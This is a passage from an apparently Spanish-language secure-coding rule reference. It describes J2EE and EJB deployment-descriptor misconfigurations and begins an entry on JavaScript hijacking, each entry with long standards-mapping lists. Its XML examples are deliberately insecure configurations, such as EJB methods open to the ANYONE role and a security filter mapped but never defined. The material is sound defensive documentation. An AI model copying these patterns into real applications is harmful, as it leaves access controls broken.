[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000450 CAT II, APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000450 CAT II, APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000450 CAT II, APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[51] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[52] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.j2ee_misconfiguration_missing_error_handling
Abstract
No se aplicarán las asignaciones de filtros que hagan referencia a un filtro inexistente.
Explanation
Cada asignación de filtros debe corresponder a una definición de filtro válida para que se aplique.

Ejemplo 1: En el siguiente ejemplo se muestra una asignación de filtros que hace referencia al filtro inexistente AuthenticationFilter. Como falta la definición, el filtro AuthenticationFilter no se aplicará al patrón de dirección URL designado /secure/* y puede causar una excepción en tiempo de ejecución.

<filter>
<description>Compresses images to 64x64</description>
<filter-name>ImageFilter</filter-name>
<filter-class>com.ImageFilter</filter-class>
</filter>

<!-- AuthenticationFilter is not defined -->
<filter-mapping>
<filter-name>AuthenticationFilter</filter-name>
<url-pattern>/secure/*</url-pattern>
</filter-mapping>

<filter-mapping>
<filter-name>ImageFilter</filter-name>
<servlet-name>ImageServlet</servlet-name>
</filter-mapping>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 284
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_filter_definition
Abstract
Una restricción de seguridad que hace referencia a un elemento role-name inexistente impide el acceso legítimo a todos los recursos que protege.
Explanation
La falta de un elemento security-role para un elemento role-name definido en un elemento auth-constraint podría indicar una configuración desactualizada.

Ejemplo 1: En el siguiente ejemplo se especifica un elemento role-name, pero no se define en un elemento security-role.

<security-constraint>
<web-resource-collection>
<web-resource-name>AdminPage</web-resource-name>
<description>Admin only pages</description>
<url-pattern>/auth/noaccess/*</url-pattern>
</web-resource-collection>

<auth-constraint>
<description>Administrators only</description>
<role-name>admin</role-name>
</auth-constraint>

<user-data-constraint>
<transport-guarantee>INTEGRAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 684
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[7] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[8] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[39] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_security_role
Abstract
No se puede acceder a un servlet definido en web.xml sin una asignación de servlets correspondiente.
Explanation
La ausencia de una asignación de servlets válida impide todo acceso al servlet sin asignar.

Ejemplo 1: La siguiente entrada de web.xml define ExampleServlet pero no puede definir una asignación de servlets correspondiente.

<web-app
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">

<servlet>
<servlet-name>ExampleServlet</servlet-name>
<servlet-class>com.class.ExampleServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

</web-app>
References
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 684
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.config.java.j2ee_misconfiguration_missing_servlet_mapping
Abstract
Los beans de entidad no deben declararse remotos.
Explanation
Los beans de entidad que exponen una interfaz remota se convierten en parte de la superficie de ataque de una aplicación. Por motivos de rendimiento, una aplicación rara vez debería utilizar beans de entidad remota, por lo que es muy probable que la declaración de un bean de entidad remota sea un error.

Ejemplo 1: La siguiente declaración de bean de entidad incluye una interfaz remota:


<ejb-jar>
<enterprise-beans>
<entity>
<ejb-name>EmployeeRecord</ejb-name>
<home>com.wombat.empl.EmployeeRecordHome</home>
<remote>com.wombat.empl.EmployeeRecord</remote>
...
</entity>
...
</enterprise-beans>
</ejb-jar>
References
[1] A. Taylor et al. J2EE & Java: Developing Secure Web Applications with Java Technology (Hacking Exposed) Osborne/McGraw-Hill
[2] Standards Mapping - Common Weakness Enumeration CWE ID 8
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-000804, CCI-002165
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), IA-8 Identification and Authentication (Non-Organizational Users) (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement, IA-8 Identification and Authentication (Non-Organizational Users)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[11] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[12] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8, Requirement 7.2
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.3 - Authentication and Access Control
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.3 - Authentication and Access Control
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.3 - Authentication and Access Control, Control Objective C.2.1.2 - Web Software Access Controls
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
desc.config.java.j2ee_misconfiguration_unsafe_bean_declaration
Abstract
No se debe otorgar permiso para invocar métodos EJB al rol ANYONE.
Explanation
Si el descriptor de implementación de EJB contiene uno o más permisos de método que otorgan acceso al rol ANYONE, esto indica que el control de acceso para la aplicación no se ha pensado totalmente o que la aplicación está estructurada de manera que las restricciones razonables de control de acceso son imposibles.

Ejemplo 1: El siguiente descriptor de implementación otorga permiso ANYONE para invocar el método Employee de EJB denominado getSalary().


<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
References
[1] A. Taylor et al. J2EE & Java: Developing Secure Web Applications with Java Technology (Hacking Exposed) Osborne/McGraw-Hill
[2] Standards Mapping - Common Weakness Enumeration CWE ID 9
[3] Standards Mapping - Common Weakness Enumeration Top 25 2023 [22] CWE ID 269
[4] Standards Mapping - Common Weakness Enumeration Top 25 2024 [15] CWE ID 269
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-000804, CCI-002165
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1), IA-8 Identification and Authentication (Non-Organizational Users) (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-3 Access Enforcement, IA-8 Identification and Authentication (Non-Organizational Users)
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[11] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[12] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[13] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[14] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8, Requirement 7.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 7.3.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 7.3.2
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.3 - Authentication and Access Control
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.3 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 5.3 - Authentication and Access Control, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.2.1.2 - Web Software Access Controls
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15), Insufficient Authentication (WASC-01)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
desc.config.java.j2ee_misconfiguration_weak_access_permissions
Abstract
Las aplicaciones que utilizan notación de JavaScript para trasladar datos confidenciales pueden ser vulnerables a suplantación de JavaScript, lo que permite a un atacante no autorizado poder leer datos confidenciales de una aplicación vulnerable.
Explanation
Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podría dar servicio a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web 